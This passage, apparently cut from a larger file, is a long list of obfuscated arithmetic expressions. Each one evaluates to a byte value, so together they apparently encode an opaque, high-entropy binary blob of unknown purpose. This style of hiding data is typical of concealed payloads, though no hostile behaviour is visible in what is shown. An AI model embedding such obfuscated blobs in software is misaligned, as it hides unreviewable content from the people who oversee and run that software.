2 - 5514734849800081024 - 53856, 556608478835213025910 - 556608478835213025804, (3883053360553793694 + 55264) // 2 - 1941526680276896847 - 27456, 1031293815650588683516 - 1031293815650588683392, (6313949126310911658 + 115710) // 2 - 3156974563155455829 - 57652, (3388003462154671978 + 40474) // 2 - 1694001731077335989 - 20188, (13695048498471202032 + 112712) // 2 - 6847524249235601016 - 56163, 23269404381886043960 - 23269404381886043920, (14555834068715245024 + 23572) // 2 - 7277917034357622512 - 11620, (2459043844980402520 + 48950) // 2 - 1229521922490201260 - 24420, (4992500026986715840 + 100488) // 2 - 2496250013493357920 - 50086, 134021262883211717224 - 134021262883211717171, (14933382720847618038 + 41334) // 2 - 7466691360423809019 - 20418, 726171573759878544921 - 726171573759878544802, (18067248528776431042 + 238252) // 2 - 9033624264388215521 - 118872, (13973592949477027498 + 164736) // 2 - 6986796474738513749 - 82176, (1442855819982737658 + 27434) // 2 - 721427909991368829 - 13688, 39878611888540919950 - 39878611888540919900, (7811383988812495094 + 98800) // 2 - 3905691994406247547 - 49153, (16421105916853946048 + 64824) // 2 - 8210552958426973024 - 32339, 1394254127434084569485 - 1394254127434084569324, 497277279874122822120 - 497277279874122821971, (15777624425897577258 + 168848) // 2 - 7888812212948788629 - 84251, 28480251617550272481 - 28480251617550272464, 570617188629033590398 - 570617188629033590292, 254382878981924947629 - 254382878981924947592, 899192329963222576190 - 899192329963222576008, (11318087977264371884 + 6318) // 2 - 5659043988632185942 - 3132, (11500184276688902624 + 61710) // 2 - 5750092138344451312 - 30690, 764684698484253210300 - 764684698484253210216, (8932913058251197372 + 165140) // 2 - 4466456529125598686 - 82340, 11307622820546601696 - 11307622820546601693, (11035221660645259320 + 74044) // 2 - 5517610830322629660 - 36915, (16366477897372572802 + 104328) // 2 - 8183238948686286401 - 52026, (2000578092430378776 + 189772) // 2 - 1000289046215189388 - 94677, 41128657846813132794 - 41128657846813132761, 1606563149912199087248 - 1606563149912199087070, 567299356555106842590 - 567299356555106842436, 759319446981102219828 - 759319446981102219744, (12725601991929282226 + 61104) // 2 - 6362800995964641113 - 30476, (2559128658886514326 + 112220) // 2 - 1279564329443257163 - 55955, (2098872941096220462 + 32118) // 2 - 1049436470548110231 - 15958, (17243899721437400126 + 121268) // 2 - 8621949860718700063 - 60492, (7246063465817729972 + 82214) // 2 - 3623031732908864986 - 41006, 511728528568975242495 - 511728528568975242410, (8217468525067713024 + 101280) // 2 - 4108734262533856512 - 50520, 471636093906192320412 - 471636093906192320271, (10308368920045393542 + 79514) // 2 - 5154184460022696771 - 39674, (17534518568176026508 + 48768) // 2 - 8767259284088013254 - 24130, 293561442278193513108 - 293561442278193513041, 1626828588531801838930 - 1626828588531801838691, 1152824415501662481375 - 1152824415501662481172, (6016505085285896986 + 53354) // 2 - 3008252542642948493 - 26574, 858993191661326040540 - 858993191661326040410, (10998958498036883868 + 35530) // 2 - 5499479249018441934 - 17710, 234018652701695059044 - 234018652701695058813, 515257925176768586230 - 515257925176768586120, 452283814540368873944 - 452283814540368873882, 542652135462954871200 - 542652135462954871125, (6053862574700380004 + 177246) // 2 - 3026931287350190002 - 88394, 521454174897870862635 - 521454174897870862440, 336088756247557901940 - 336088756247557901720, (4419665159443159978 + 106480) // 2 - 2209832579721579989 - 53119, 283688373313182570304 - 283688373313182570221, 1717199566679056405988 - 1717199566679056405771, 510511904989132358100 - 510511904989132358025, 6851640058952857130 - 6851640058952857125, (15047049242733637834 + 11872) // 2 - 7523524621366818917 - 5880, 373824604244553437532 - 373824604244553437416, 1195862941849412828580 - 1195862941849412828336, 290655124028098240389 - 290655124028098240202, (2152814189932843354 + 47872) // 2 - 1076407094966421677 - 23760, (3062236180742198818 + 1620) // 2 - 1531118090371099409 - 801, 152607416789073887124 - 152607416789073886992, (8545462738332856012 + 42594) // 2 - 4272731369166428006 - 21068, 646669603439612472472 - 646669603439612472321, 274931373824391616752 - 274931373824391616630, 730516705066695577134 - 730516705066695576921, 1243252006903488868 - 1243252006903488866, (3245717272770980060 + 15834) // 2 - 1622858636385490030 - 7888, (4759172586232606966 + 123120) // 2 - 2379586293116303483 - 61425, (10694613650983862558 + 148208) // 2 - 5347306825491931279 - 73868, (16299633925067118658 + 201450) // 2 - 8149816962533559329 - 100488, (17204215872409260414 + 158046) // 2 - 8602107936204630207 - 78810, (5242650617280233646 + 156240) // 2 - 2621325308640116823 - 77940, (6156961133620897352 + 131252) // 2 - 3078480566810448676 - 65469, 1134056196117169073658 - 1134056196117169073424, 293913507793824276960 - 293913507793824276880, 576850560463162377144 - 576850560463162377036, (15727591819231965236 + 121344) // 2 - 7863795909615982618 - 60514, (2374943758237390024 + 223650) // 2 - 1187471879118695012 - 111600, (10832067161685574028 + 159936) // 2 - 5416033580842787014 - 79730, (16386870476181439350 + 27032) // 2 - 8193435238090719675 - 13454, (15108868296994261104 + 56282) // 2 - 7554434148497130552 - 28034, (15910814456787740832 + 62868) // 2 - 7955407228393870416 - 31341, (5427681221751026864 + 41148) // 2 - 2713840610875513432 - 20493, 1441118626644210553975 - 1441118626644210553740, (11706469551214544978 + 83720) // 2 - 5853234775607272489 - 41699, (15173917081561799378 + 30012) // 2 - 7586958540780899689 - 14884, (15756604799851478288 + 206080) // 2 - 7878302399925739144 - 102810, 216916324253554734904 - 216916324253554734780, (16167419521170149910 + 104720) // 2 - 8083709760585074955 - 52220, 225744986266000080150 - 225744986266000080075, 676667497789136566240 - 676667497789136566064, 241044304185544668006 - 241044304185544667820, 27312829121532972924 - 27312829121532972915, (4621813629975332752 + 18410) // 2 - 2310906814987666376 - 9170, 1010618531822487268512 - 1010618531822487268389, (11009080112096053934 + 133792) // 2 - 5504540056048026967 - 66748, (3276441508286506928 + 109620) // 2 - 1638220754143253464 - 54636, (1796917524222320348 + 20000) // 2 - 898458762111160174 - 9875, 243877415753882770200 - 243877415753882770080, (4913561238895698820 + 88556) // 2 - 2456780619447849410 - 44109, 536636275341703796790 - 536636275341703796547, 68033477166454197814 - 68033477166454197788, (8929246713299521834 + 14260) // 2 - 4464623356649760917 - 7107, (15649866850308997274 + 2910) // 2 - 7824933425154498637 - 1452, (6443426486865037156 + 113564) // 2 - 3221713243432518578 - 56604, 115696372187629874725 - 115696372187629874700, 1000518980119907806842 - 1000518980119907806704, 389239379929540767363 - 389239379929540767154, (4232820414114188974 + 103224) // 2 - 2116410207057094487 - 51480, (4016761571846985772 + 102816) // 2 - 2008380785923492886 - 51300, (12407726631237976758 + 112726) // 2 - 6203863315618988379 - 56206, (5753732892154471982 + 42140) // 2 - 2876866446077235991 - 20825, (13408938116039178120 + 205092) // 2 - 6704469058019589060 - 102303, (2754044577233344506 + 174580) // 2 - 1377022288616672253 - 87087, (13970588194329840658 + 102184) // 2 - 6985294097164920329 - 50851, 30910657884406312168 - 30910657884406312116, 1760560911985269193200 - 1760560911985269193000, (14078479443725638396 + 35298) // 2 - 7039239721862819198 - 17490, (6114798322615318242 + 90152) // 2 - 3057399161307659121 - 44840, 1491559202783621430719 - 1491559202783621430472, (5771997714446778722 + 42800) // 2 - 2885998857223389361 - 21186, (15668871970021983588 + 37050) // 2 - 7834435985010991794 - 18330, 504220004264343412530 - 504220004264343412440, (334334573110368320 + 23546) // 2 - 167167286555184160 - 11580, 638344879839116145750 - 638344879839116145675, 37012721619568316182 - 37012721619568316165, (8925183871693072122 + 81592) // 2 - 4462591935846536061 - 40608, 76138812288218172870 - 76138812288218172684, (12253483678108418258 + 27048) // 2 - 6126741839054209129 - 13455, (11204659937255347154 + 52030) // 2 - 5602329968627673577 - 25960, (14638320617175787532 + 63744) // 2 - 7319160308587893766 - 31706, (9585663552210717302 + 25134) // 2 - 4792831776105358651 - 12390, 90493800691294714100 - 90493800691294714050, (13305288771722618942 + 45100) // 2 - 6652644385861309471 - 22440, (5848590145574745690 + 8832) // 2 - 2924295072787372845 - 4404, 764812425605779048776 - 764812425605779048640, (15616854646145493182 + 46070) // 2 - 7808427323072746591 - 22950, (14576371227528378148 + 116790) // 2 - 7288185613764189074 - 58140, 73475643167776060691 - 73475643167776060632, (17271070368824160434 + 175200) // 2 - 8635535184412080217 - 87360, 125473728725096811654 - 125473728725096811585, (9015252020878720720 + 28928) // 2 - 4507626010439360360 - 14336, 237219733881342880293 - 237219733881342880242, (3153296524919692228 + 86950) // 2 - 1576648262459846114 - 43290, (5860169147343759806 + 75712) // 2 - 2930084573671879903 - 37632, (15310871350280224058 + 3564) // 2 - 7655435675140112029 - 1755, (3881791853019673660 + 42900) // 2 - 1940895926509836830 - 21340, 914159728118474539624 - 914159728118474539520, 460670270389389766965 - 460670270389389766914, 1513122665646281756430 - 1513122665646281756220, 184644213715010746788 - 184644213715010746749, (15331130064893335686 + 93024) // 2 - 7665565032446667843 - 46410, (13722775637521461766 + 85426) // 2 - 6861387818760730883 - 42592, (8373255973908607820 + 83210) // 2 - 4186627986954303910 - 41448, (1204462432853764114 + 21746) // 2 - 602231216426882057 - 10742, (12852154607222775424 + 31696) // 2 - 6426077303611387712 - 15792, (2669916975899563942 + 113826) // 2 - 1334958487949781971 - 56730, 198755034799762866690 - 198755034799762866555, 178556108477180520830 - 178556108477180520645, (8444682743914687164 + 213300) // 2 - 4222341371957343582 - 106413, 170489059863216209500 - 170489059863216209304, (11995083616149110730 + 65702) // 2 - 5997541808074555365 - 32604, 798836610357873799456 - 798836610357873799304, (13465584732425328780 + 32518) // 2 - 6732792366212664390 - 16188, (2885446271695149606 + 10098) // 2 - 1442723135847574803 - 4998, (3545161631203675472 + 50142) // 2 - 1772580815601837736 - 25010, 744592183639349218197 - 744592183639349218004, (1767161462192300540 + 52780) // 2 - 883580731096150270 - 26260, 356027493702836172828 - 356027493702836172752, (10383091059392992912 + 7020) // 2 - 5191545529696496456 - 3501, 677942752071659947300 - 677942752071659947136, (5195931563067944400 + 54378) // 2 - 2597965781533972200 - 27132, (5493160825503369916 + 80100) // 2 - 2746580412751684958 - 39825, 247414146252389977896 - 247414146252389977732, (7296638904435578324 + 70840) // 2 - 3648319452217789162 - 35305, (17598062453891176172 + 187370) // 2 - 8799031226945588086 - 93480, 340712644830236130054 - 340712644830236129871, 951696307279596502000 - 951696307279596501800, 251812646318965911891 - 251812646318965911818, (558524186554126310 + 20152) // 2 - 279262093277063155 - 10054, (13578457384791843100 + 123402) // 2 - 6789228692395921550 - 61570, (11057973600246024536 + 187740) // 2 - 5528986800123012268 - 93660, (13050902000373719792 + 78120) // 2 - 6525451000186859896 - 38920, 24907904841234180788 - 24907904841234180744, (13375402587463942708 + 100456) // 2 - 6687701293731971354 - 50112, 207592095809086618110 - 207592095809086618045, (1623406921089577354 + 8856) // 2 - 811703460544788677 - 4392, 337111997112538566599 - 337111997112538566436, (16953240861344927656 + 56334) // 2 - 8476620430672463828 - 28044, (10739645830573226104 + 57120) // 2 - 5369822915286613052 - 28476, (7857459391489264558 + 68160) // 2 - 3928729695744632279 - 34009, 131783410818085406592 - 131783410818085406400, 504231085526428632010 - 504231085526428631840, (1278462932756516836 + 15428) // 2 - 639231466378258418 - 7581, 566308652742628903864 - 566308652742628903676, 568959492561507262512 - 568959492561507262446, (11715484632947254182 + 100400) // 2 - 5857742316473627091 - 50000, 1681849541724036865320 - 1681849541724036865110, 546301493965464238508 - 546301493965464238432, 112552602731232280840 - 112552602731232280809, 8242264226455878744 - 8242264226455878732, (3561491430227097246 + 51622) // 2 - 1780745715113548623 - 25758, (17262843017374969934 + 159432) // 2 - 8631421508687484967 - 79497, 42566241949033247172 - 42566241949033247160, 118312305993857453427 - 118312305993857453340, (13313659861341707754 + 21948) // 2 - 6656829930670853877 - 10912, (4094597967206535238 + 165966) // 2 - 2047298983603267619 - 82784, 233248439395778611819 - 233248439395778611616, (11241260999487682152 + 53756) // 2 - 5620630499743841076 - 26789, (4084144477293297116 + 117040) // 2 - 2042072238646648558 - 58330, 1077045120014150454816 - 1077045120014150454684, 1315170315069277763633 - 1315170315069277763394, (4192297333775348758 + 175208) // 2 - 2096148666887674379 - 87362, (8924435643512066652 + 32032) // 2 - 4462217821756033326 - 15960, (15764131663139593594 + 155176) // 2 - 7882065831569796797 - 77425, (774207763904545166 + 80300) // 2 - 387103881952272583 - 40040, 385905944378967361434 - 385905944378967361353, (7335956999805891054 + 15824) // 2 - 3667978499902945527 - 7866, 1029724239148490348130 - 1029724239148490347945, (7253404367927141712 + 13992) // 2 - 3626702183963570856 - 6930, 231560421268296482010 - 231560421268296481923, 1393576593279277268736 - 1393576593279277268544, (2761862145916712258 + 27150) // 2 - 1380931072958356129 - 13394, 353947206825354245502 - 353947206825354245420, 469006955124473954724 - 469006955124473954663, 654680001995065300155 - 654680001995065300062, 165656883720397487004 - 165656883720397486875, (11614601204557513318 + 12384) // 2 - 5807300602278756659 - 6144, (732069026993238942 + 162348) // 2 - 366034513496619471 - 81011, 763245162412766412302 - 763245162412766412216, 450129136740351952986 - 450129136740351952907, (1942107163211992056 + 20016) // 2 - 971053581605996028 - 9869, (3829112679339671418 + 23296) // 2 - 1914556339669835709 - 11584, 116131415545861853631 - 116131415545861853580, (12275047620100532736 + 116100) // 2 - 6137523810050266368 - 57835, 794925999606777127065 - 794925999606777126930, 162167315472824941450 - 162167315472824941425, 755622346869268790520 - 755622346869268790310, (9628903497068639972 + 170952) // 2 - 4814451748534319986 - 85272, (3886190727551709862 + 18530) // 2 - 1943095363775854931 - 9180, (12741827993136417424 + 12084) // 2 - 6370913996568208712 - 5936, 667154020290416240046 - 667154020290416239900, 143228946102257155700 - 143228946102257155600, 606934530613792754736 - 606934530613792754670, (14382349283753614436 + 115192) // 2 - 7191174641876807218 - 57409, 234745768261172461532 - 234745768261172461426, (14975978528223582618 + 17688) // 2 - 7487989264111791309 - 8710, 84720842905640739512 - 84720842905640739369, 285635997277265115712 - 285635997277265115648, (7195504622347259940 + 40992) // 2 - 3597752311173629970 - 20440, 1906176607941276350457 - 1906176607941276350218, 247020821338631425668 - 247020821338631425602, (17607598997124496332 + 9088) // 2 - 8803799498562248166 - 4512, (8922682493027093654 + 51200) // 2 - 4461341246513546827 - 25472, (9339216785333562946 + 12750) // 2 - 4669608392666781473 - 6250, (15203300916556116990 + 61122) // 2 - 7601650458278058495 - 30394, (6125863719455105812 + 96234) // 2 - 3062931859727552906 - 47988, 1230557149689627866646 - 1230557149689627866419, 130419396937604758950 - 130419396937604758916, 714135391188207763488 - 714135391188207763376, (13572657664352538982 + 716) // 2 - 6786328832176269491 - 357, (4686587338691787372 + 8550) // 2 - 2343293669345893686 - 4260, (14087556488490690210 + 154140) // 2 - 7043778244245345105 - 76860, 32855211594539707472 - 32855211594539707233, 1782625116518582824233 - 1782625116518582824000, 2039720817769535587224 - 2039720817769535586992, (16878060232153909482 + 9152) // 2 - 8439030116076954741 - 4488, (16031073448644901514 + 226044) // 2 - 8015536724322450757 - 112788, (7062473513472867068 + 44450) // 2 - 3531236756736433534 - 22098, 1106507039873095815968 - 1106507039873095815732, (6660061754305756180 + 35840) // 2 - 3330030877152878090 - 17880, (4442342076251640716 + 178394) // 2 - 2221171038125820358 - 89006, (12650978105167258032 + 16500) // 2 - 6325489052583629016 - 8184, (5536298002754996468 + 2304) // 2 - 2768149001377498234 - 1149, 481506594708006111783 - 481506594708006111596, (18314916934239778810 + 39984) // 2 - 9157458467119889405 - 19754, (5943090132748710276 + 50264) // 2 - 2971545066374355138 - 25071, 271353619729530656595 - 271353619729530656550, (12524474585805208586 + 149144) // 2 - 6262237292902604293 - 74391, 189627691196432650656 - 189627691196432650619, 244072174709732292875 - 244072174709732292822, (14321434067937882336 + 22440) // 2 - 7160717033968941168 - 11135, 230965624396933028080 - 230965624396933028027, (14992804965227674186 + 125440) // 2 - 7496402482613837093 - 62592, (12374575013221737130 + 156332) // 2 - 6187287506610868565 - 77924, (5165390048619399428 + 18500) // 2 - 2582695024309699714 - 9200, 240474495317135452565 - 240474495317135452416, 1329260809785901582128 - 1329260809785901581974, (12765418042658351106 + 7056) // 2 - 6382709021329175553 - 3492, 1561327457433039776928 - 1561327457433039776704, 646341416174517141156 - 646341416174517141033, 1463302785907633573638 - 1463302785907633573445, (149800132469081714 + 155156) // 2 - 74900066234540857 - 77420, 1501303020800635149300 - 1501303020800635149055, 1167544541635354594968 - 1167544541635354594804, (2721413670397182966 + 0) // 2 - 1360706835198591483 - 0, (17837337506697937034 + 86310) // 2 - 8918668753348968517 - 43018, (11986027525993148212 + 33642) // 2 - 5993013762996574106 - 16632, (1296821119902336952 + 111744) // 2 - 648410559951168476 - 55728, (15124746529322177604 + 588) // 2 - 7562373264661088802 - 293, 360325470610612130700 - 360325470610612130625, (6380960410560250412 + 520) // 2 - 3190480205280125206 - 258, 401836403642769205371 - 401836403642769205188, (18161663222045607242 + 123120) // 2 - 9080831611022803621 - 61332, 132582094388021846810 - 132582094388021846755, 526310815065353998092 - 526310815065353997984, 546101745569882672136 - 546101745569882672030, (7286630750317740598 + 31460) // 2 - 3643315375158870299 - 15665, 357286883451409338669 - 357286883451409338570, (11331869936738376170 + 28426) // 2 - 5665934968369188085 - 14152, (8327712382835714186 + 127744) // 2 - 4163856191417857093 - 63744, 777191418146689596969 - 777191418146689596810, 234372928426921007790 - 234372928426921007735, 243036705891636352622 - 243036705891636352588, 90467382128759206220 - 90467382128759206090, (12349720092866229686 + 39500) // 2 - 6174860046433114843 - 19700, 572506297072101182091 - 572506297072101181958, 921346999011783006954 - 921346999011783006715, (12762833824194764776 + 92000) // 2 - 6381416912097382388 - 45816, (9900965269345681512 + 99384) // 2 - 4950482634672840756 - 49569, (4690167084238641644 + 57268) // 2 - 2345083542119320822 - 28495, 1285382824798609227744 - 1285382824798609227558, (3930771998192954180 + 114276) // 2 - 1965385999096477090 - 56960, (14033237622799831204 + 94900) // 2 - 7016618811399915602 - 47320, 32991958557443284154 - 32991958557443284147, 193423326184452374780 - 193423326184452374710, (10874240352167018790 + 1068) // 2 - 5437120176083509395 - 528, 466197512726362975634 - 466197512726362975512, 1028611563604476587944 - 1028611563604476587697, 664412210223644369408 - 664412210223644369266, (18195305955626416082 + 21750) // 2 - 9097652977813208041 - 10750, 1812562033500068608589 - 1812562033500068608368, 385630867830254272270 - 385630867830254272217, 1293384967260564378137 - 1293384967260564377904, (2458848550008270996 + 207328) // 2 - 1229424275004135498 - 103455, 70546585861347443947 - 70546585861347443694, (11430155206533291264 + 174648) // 2 - 5715077603266645632 - 87096, 171313818113769858345 - 171313818113769858310, 176622306264994072824 - 176622306264994072650, 397212754602728192595 - 397212754602728192502, 596560078261557949887 - 596560078261557949806, 430561488024951379515 - 430561488024951379338, (2942288061266427776 + 81204) // 2 - 1471144030633213888 - 40401, (14454868621925163898 + 82134) // 2 - 7227434310962581949 - 40898, (9799691664472556748 + 247434) // 2 - 4899845832236278374 - 123464, 160031541322634973888 - 160031541322634973792, (10299081972372854724 + 42964) // 2 - 5149540986186427362 - 21436, 116012210892013820332 - 116012210892013820319, 339886326458112468350 - 339886326458112468277, (9841006547524990660 + 29304) // 2 - 4920503273762495330 - 14616, (5020898736982870648 + 7184) // 2 - 2510449368491435324 - 3584, 92037550461341573555 - 92037550461341573410, 1303689874072069487210 - 1303689874072069487040, 1015001690331324764957 - 1015001690331324764730, 828278981216177774416 - 828278981216177774304, 64714693003221776571 - 64714693003221776448, 53194632511531581975 - 53194632511531581960, (13264877287954968130 + 59210) // 2 - 6632438643977484065 - 29414, (3254601968681685042 + 19776) // 2 - 1627300984340842521 - 9864, 1507013752083354638715 - 1507013752083354638460, 1008147317638107118104 - 1008147317638107117867, (2175201367714219798 + 20304) // 2 - 1087600683857109899 - 9964, 111862175542287890250 - 111862175542287890080, 343999541424708010020 - 343999541424708009874, (4069923271556283258 + 44696) // 2 - 2034961635778141629 - 22200, (9597050051395878246 + 128340) // 2 - 4798525025697939123 - 64015, (446500452718511520 + 71568) // 2 - 223250226359255760 - 35571, 307021961578031390012 - 307021961578031389846, 1073449556322008219880 - 1073449556322008219760, (1204759600902907872 + 153628) // 2 - 602379800451453936 - 76615, (9047933882921423038 + 23288) // 2 - 4523966941460711519 - 11502, 756095814112288663650 - 756095814112288663455, (232488860771134398 + 27170) // 2 - 116244430385567199 - 13442, 14729781379187494932 - 14729781379187494919, 971964005871234702120 - 971964005871234702000, (7232928196423697740 + 46986) // 2 - 3616464098211848870 - 23302, 1340295395753699235638 - 1340295395753699235487, (715405099201889510 + 99796) // 2 - 357702549600944755 - 49776, 244893289916556056934 - 244893289916556056853, (14261585185134773448 + 11376) // 2 - 7130792592567386724 - 5676, 833709329531508254190 - 833709329531508254020, 618118773175350575652 - 618118773175350575488, 789238457230988061584 - 789238457230988061468, 2001175712671569635892 - 2001175712671569635655, 215720346325620633728 - 215720346325620633574, (2055048380767318376 + 5824) // 2 - 1027524190383659188 - 2898, 291979034571186225228 - 291979034571186225144, 1691988166932413069346 - 1691988166932413069159, 503753722760159076727 - 503753722760159076590, 695757758188976541429 - 695757758188976541296, (12895135469924202034 + 83448) // 2 - 6447567734962101017 - 41541, (15807917559336836578 + 94528) // 2 - 7903958779668418289 - 47152, (10751789829489430612 + 163800) // 2 - 5375894914744715306 - 81675, 100084791494032425220 - 100084791494032425035, 804965408444882665908 - 804965408444882665680, 861551322874927583872 - 861551322874927583765, 262012342896587044893 - 262012342896587044850, (12838555276768679764 + 22656) // 2 - 6419277638384339882 - 11136, (972124114512299512 + 81328) // 2 - 486062057256149756 - 40443, 509027588363339178240 - 509027588363339178126, 217052454315998881944 - 217052454315998881872, 839241257315066989740 - 839241257315066989560, (6740096179365115950 + 53336) // 2 - 3370048089682557975 - 26432, (5059017692664135944 + 36210) // 2 - 2529508846332067972 - 17892, 371654005372974195105 - 371654005372974195040, 62111563324936912585 - 62111563324936912568, 68286762931005745190 - 68286762931005745180, (14378864195546029120 + 30772) // 2 - 7189432097773014560 - 15288, 1372317839874330397480 - 1372317839874330397265, (11057373685093652434 + 1498) // 2 - 5528686842546826217 - 742, 304786381713647125107 - 304786381713647124966, (5957990873799733490 + 52882) // 2 - 2978995436899866745 - 26248, 80803693101725256920 - 80803693101725256880, (4387613471591513752 + 70512) // 2 - 2193806735795756876 - 35030, (1234978419340192682 + 43920) // 2 - 617489209670096341 - 21899, 142299403191152871365 - 142299403191152871300, 293413674626512572150 - 293413674626512572060, (15201258232021066084 + 5928) // 2 - 7600629116010533042 - 2951, (184171456196331080 + 129056) // 2 - 92085728098165540 - 64380, 1316247810104064722926 - 1316247810104064722697, (14607704110310675396 + 32890) // 2 - 7303852055155337698 - 16192, 95688001490722257673 - 95688001490722257654, (16902882688248206130 + 57400) // 2 - 8451441344124103065 - 28618, (3943764574283349096 + 33276) // 2 - 1971882287141674548 - 16591, (10832833136171370582 + 75888) // 2 - 5416416568085685291 - 37820, 601192933501439554236 - 601192933501439554002, 142542074716545790992 - 142542074716545790944, 882841137582207979422 - 882841137582207979305, (6651627053626741766 + 79000) // 2 - 3325813526813370883 - 39250, (4194860056161128232 + 38280) // 2 - 2097430028080564116 - 19024, (9758847800272040898 + 77850) // 2 - 4879423900136020449 - 38752, 401885614668979621800 - 401885614668979621700, 57807157108543061912 - 57807157108543061835, (17609507244279616356 + 15000) // 2 - 8804753622139808178 - 7375, 1460795575394760588200 - 1460795575394760587968, 373498589688944531709 - 373498589688944531472, 943336832192008064 - 943336832192008000, (125476351918941310 + 28600) // 2 - 62738175959470655 - 14248, (7895832247206235818 + 20224) // 2 - 3947916123603117909 - 9984, (5920266722010941558 + 19886) // 2 - 2960133361005470779 - 9882, (5647364676667848352 + 75660) // 2 - 2823682338333924176 - 37700, 1160167696051118875464 - 1160167696051118875260, (17739353183932960386 + 130560) // 2 - 8869676591966480193 - 65076, 195948841395127071510 - 195948841395127071420, 201760949250917015664 - 201760949250917015621, (10381012364081546834 + 75250) // 2 - 5190506182040773417 - 37410, 207834115024704363744 - 207834115024704363720, (9806897989180102174 + 24640) // 2 - 4903448994590051087 - 12276, 1673139276831013561242 - 1673139276831013561029, 1663755557006611499750 - 1663755557006611499500, (10927347106407223348 + 14628) // 2 - 5463673553203611674 - 7176, 986083455228642020880 - 986083455228642020712, (7115006140555862902 + 18564) // 2 - 3557503070277931451 - 9180, 835268505943868100090 - 835268505943868099916, (15078503784659768992 + 58630) // 2 - 7539251892329884496 - 29110, 798724085252810015430 - 798724085252810015200, (2056956015850033620 + 150600) // 2 - 1028478007925016810 - 75049, (596294475173929276 + 112850) // 2 - 298147237586964638 - 56240, (16541213529206346834 + 39050) // 2 - 8270606764603173417 - 19470, 155747901825492618762 - 155747901825492618609, (2036999481512480518 + 47580) // 2 - 1018499740756240259 - 23607, 107894452708605861840 - 107894452708605861780, (9101075216174925186 + 70616) // 2 - 4550537608087462593 - 35126, (4304235592478212892 + 65448) // 2 - 2152117796239106446 - 32616, (9576911542519382090 + 93600) // 2 - 4788455771259691045 - 46566, (16815705226237118946 + 19550) // 2 - 8407852613118559473 - 9690, 764557380270381613968 - 764557380270381613760, 296693737526545325104 - 296693737526545324905, (9769048846175478180 + 53572) // 2 - 4884524423087739090 - 26727, (7867300359071466760 + 3360) // 2 - 3933650179535733380 - 1666, (13489045986625044012 + 8788) // 2 - 6744522993312522006 - 4381, 328183002607845208550 - 328183002607845208405, 876075381297088626186 - 876075381297088625952, (19589294911473386 + 600) // 2 - 9794647455736693 - 297, 501255253417504884507 - 501255253417504884264, 607370632439297699950 - 607370632439297699720, (5691630953672462834 + 0) // 2 - 2845815476836231417 - 0, (14543302662970332928 + 4416) // 2 - 7271651331485166464 - 2185, 118157362387254662314 - 118157362387254662232, (14893771723405981734 + 24800) // 2 - 7446885861702990867 - 12276, (5139250070273190868 + 53410) // 2 - 2569625035136595434 - 26460, 1267487966801150048113 - 1267487966801150047916, 619585771042410187076 - 619585771042410186993, 623131998218827488820 - 623131998218827488605, 297278782884324419764 - 297278782884324419681, 405967138296866503370 - 405967138296866503305, 456554943659197912980 - 456554943659197912920, (13993337026600888150 + 58450) // 2 - 6996668513300444075 - 29050, (15187353907467938 + 47888) // 2 - 7593676953733969 - 23862, 1543605616392893501760 - 1543605616392893501565, 5041213936431478476 - 5041213936431478475, 253645266233596439978 - 253645266233596439884, 99251368659958147605 - 99251368659958147560, 194144746123248885594 - 194144746123248885441, 1399754425045688384061 - 1399754425045688383824, 1071726142411842063428 - 1071726142411842063234, 1125255997600553433552 - 1125255997600553433324, 434211610732197870950 - 434211610732197870880, (16137722126516966928 + 206264) // 2 - 8068861063258483464 - 102896, (287509799005212656 + 75746) // 2 - 143754899502606328 - 37752, 132997332318385802784 - 132997332318385802708, (8721406226215059256 + 14520) // 2 - 4360703113107529628 - 7194, 185237195683732335384 - 185237195683732335327, 561850286159619992925 - 561850286159619992678, (465305965267765486 + 79550) // 2 - 232652982633882743 - 39560, (13795830022810690242 + 89688) // 2 - 6897915011405345121 - 44642, 497094479304741313959 - 497094479304741313870, (3566945557209043736 + 36208) // 2 - 1783472778604521868 - 18031, 601334808912563533821 - 601334808912563533614, 696496943111361900045 - 696496943111361899790, (424881654066095484 + 7562) // 2 - 212440827033047742 - 3762, (15372509260922662904 + 32400) // 2 - 7686254630461331452 - 16080, 481797197693213551744 - 481797197693213551616, (8835729419225438572 + 23214) // 2 - 4417864709612719286 - 11534, 58123730487277837104 - 58123730487277837056, (4925603409790373580 + 23490) // 2 - 2462801704895186790 - 11610, (1258738131257661864 + 90496) // 2 - 629369065628830932 - 45136, (9258175746533884050 + 36024) // 2 - 4629087873266942025 - 17974, 231441678639363045744 - 231441678639363045600, 602778260944379527995 - 602778260944379527780, (9238704640657090636 + 3152) // 2 - 4619352320328545318 - 1568, 1379571082750705930508 - 1379571082750705930350, 157931441033594353056 - 157931441033594352975, 648052891272652783530 - 648052891272652783443, (7348161086357611636 + 184380) // 2 - 3674080543178805818 - 91980, 1367032634395058675790 - 1367032634395058675641, 121440306259648591164 - 121440306259648590957, 1276503764599320484260 - 1276503764599320484040, (11777857743073196946 + 193798) // 2 - 5888928871536598473 - 96646, 305944182414905943513 - 305944182414905943462, 502444099442106649958 - 502444099442106649780, (1787694700832197926 + 62370) // 2 - 893847350416098963 - 30996, 1099791048122109511440 - 1099791048122109511200, (13844776599078279654 + 2700) // 2 - 6922388299539139827 - 1340, 865719385355421675904 - 865719385355421675680, (5872404674843876334 + 31200) // 2 - 2936202337421938167 - 15561, (2821408065563312596 + 118272) // 2 - 1410704032781656298 - 58905, (3863248948986130520 + 38064) // 2 - 1931624474493065260 - 18849, 29619492754551991424 - 29619492754551991312, (8912118941409231768 + 46428) // 2 - 4456059470704615884 - 23108, 394763891876882652960 - 394763891876882652720, (3342797779694622000 + 68808) // 2 - 1671398889847311000 - 34263, (17453214849053519810 + 83160) // 2 - 8726607424526759905 - 41426, (11615459659075043600 + 33712) // 2 - 5807729829537521800 - 16684, (15925246642039661116 + 2904) // 2 - 7962623321019830558 - 1430, 32909587041992742500 - 32909587041992742480, (17364553225475184980 + 90402) // 2 - 8682276612737592490 - 45018, (2532713796458517362 + 28938) // 2 - 1266356898229258681 - 14416, 82209400449954430900 - 82209400449954430850, 429673106001374098800 - 429673106001374098680, 355625940424060043793 - 355625940424060043696, (15078164198244814778 + 58900) // 2 - 7539082099122407389 - 29260, (11902555903678452000 + 54244) // 2 - 5951277951839226000 - 26980, 504550191479876621226 - 504550191479876621100, (1080187798974025892 + 60588) // 2 - 540093899487012946 - 30213, 1143636605319116066520 - 1143636605319116066348, (17077521461801675958 + 55040) // 2 - 8538760730900837979 - 27392, 1240443468765425867544 - 1240443468765425867376, (12792420752864435472 + 2628) // 2 - 6396210376432217736 - 1308, (5794098993667864692 + 21190) // 2 - 2897049496833932346 - 10432, 1313205456257853063600 - 1313205456257853063400, 390298774324995422756 - 390298774324995422640, 